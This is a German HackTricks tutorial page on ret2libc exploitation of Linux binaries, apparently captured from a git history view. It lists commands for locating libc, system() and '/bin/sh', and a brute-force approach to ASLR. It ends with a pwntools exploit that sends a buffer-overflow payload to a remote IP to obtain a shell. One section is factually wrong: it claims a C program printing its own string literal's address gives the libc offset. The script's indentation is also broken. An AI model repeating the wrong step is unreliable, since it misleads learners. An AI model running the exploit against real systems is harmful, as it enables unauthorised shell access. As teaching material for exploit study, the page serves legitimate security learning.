hacktricks/exploiting/linux-exploiting-basic-esp/ret2lib.md

119 lines
5.7 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 16:32:23 +00:00
2024-02-10 15:36:32 +00:00
**Wenn Sie eine verwundbare Binärdatei gefunden haben und glauben, dass Sie sie mit Ret2Lib ausnutzen können, finden Sie hier einige grundlegende Schritte, denen Sie folgen können.**
2024-02-10 15:36:32 +00:00
# Wenn Sie **innerhalb** des **Hosts** sind
2024-02-10 15:36:32 +00:00
## Sie können die **Adresse von lib**c finden
```bash
ldd /path/to/executable | grep libc.so.6 #Address (if ASLR, then this change every time)
```
2024-02-10 15:36:32 +00:00
Wenn Sie überprüfen möchten, ob ASLR die Adresse von libc ändert, können Sie Folgendes tun:
```bash
for i in `seq 0 20`; do ldd <Ejecutable> | grep libc; done
```
## Ermitteln Sie den Offset der Systemfunktion
2024-02-10 15:36:32 +00:00
Um eine Rücksprungadresse auf die Systemfunktion zu setzen, müssen Sie den Offset dieser Funktion in der Zielbibliothek ermitteln. Dieser Offset wird verwendet, um die Adresse der Systemfunktion im Speicher zu berechnen.
Um den Offset der Systemfunktion zu erhalten, können Sie das Tool `objdump` verwenden. Führen Sie den folgenden Befehl aus, um die Symbole der Zielbibliothek anzuzeigen:
```bash
2024-02-10 15:36:32 +00:00
objdump -T /path/to/target/library.so | grep system
```
2024-02-10 15:36:32 +00:00
Ersetzen Sie `/path/to/target/library.so` durch den Pfad zur Zielbibliothek, in der sich die Systemfunktion befindet. Der Befehl `grep system` filtert die Ausgabe, um nur die Zeile mit dem Symbol der Systemfunktion anzuzeigen.
2024-02-10 15:36:32 +00:00
Die Ausgabe des Befehls enthält den Offset der Systemfunktion. Merken Sie sich diesen Wert, da Sie ihn später benötigen, um die Rücksprungadresse zu berechnen.
```bash
readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
```
2024-02-10 15:36:32 +00:00
## Ermitteln Sie den Offset von "/bin/sh"
Um den Offset von "/bin/sh" zu ermitteln, können Sie die folgenden Schritte ausführen:
1. Erstellen Sie ein einfaches C-Programm, das die Adresse von "/bin/sh" druckt.
```c
#include <stdio.h>
int main() {
printf("/bin/sh Adresse: %p\n", "/bin/sh");
return 0;
}
```
2024-02-10 15:36:32 +00:00
2. Kompilieren Sie das Programm mit dem Befehl `gcc -o offset offset.c`.
2024-02-10 15:36:32 +00:00
3. Führen Sie das kompilierte Programm aus, um die Adresse von "/bin/sh" zu erhalten. Die Ausgabe sollte ähnlich aussehen wie: `/bin/sh Adresse: 0x7fffffffe1a0`.
4. Notieren Sie sich die erhaltene Adresse, da dies der Offset von "/bin/sh" ist, den Sie für die Exploit-Entwicklung verwenden können.
```bash
strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
```
2022-05-01 16:32:23 +00:00
## /proc/\<PID>/maps
2024-02-10 15:36:32 +00:00
Wenn der Prozess jedes Mal, wenn Sie mit ihm sprechen (Netzwerkserver), **Kinder** erstellt, versuchen Sie, diese Datei zu **lesen** (wahrscheinlich müssen Sie root sein).
2024-02-10 15:36:32 +00:00
Hier finden Sie **genau, wo die libc im Prozess geladen ist** und **wo sie für jedes Kind des Prozesses geladen wird**.
![](<../../.gitbook/assets/image (95).png>)
2024-02-10 15:36:32 +00:00
In diesem Fall wird sie bei **0xb75dc000** geladen (Dies wird die Basisadresse von libc sein)
2024-02-10 15:36:32 +00:00
## Verwendung von gdb-peda
2024-02-10 15:36:32 +00:00
Holen Sie sich die Adresse der Funktion **system**, der Funktion **exit** und des Strings **"/bin/sh"** mit gdb-peda:
```
p system
p exit
find "/bin/sh"
```
2024-02-10 15:36:32 +00:00
# Umgehung von ASLR
2024-02-10 15:36:32 +00:00
Sie können versuchen, die Basisadresse von libc durch Brute-Force zu ermitteln.
```python
for off in range(0xb7000000, 0xb8000000, 0x1000):
```
2022-05-01 16:32:23 +00:00
# Code
2021-03-20 10:29:06 +00:00
```python
from pwn import *
c = remote('192.168.85.181',20002)
c.recvline() #Banner
for off in range(0xb7000000, 0xb8000000, 0x1000):
2024-02-10 15:36:32 +00:00
p = ""
p += p32(off + 0x0003cb20) #system
p += "CCCC" #GARBAGE
p += p32(off + 0x001388da) #/bin/sh
payload = 'A'*0x20010 + p
c.send(payload)
c.interactive() #?
```
2022-04-28 16:01:33 +00:00
<details>
2024-02-10 15:36:32 +00:00
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>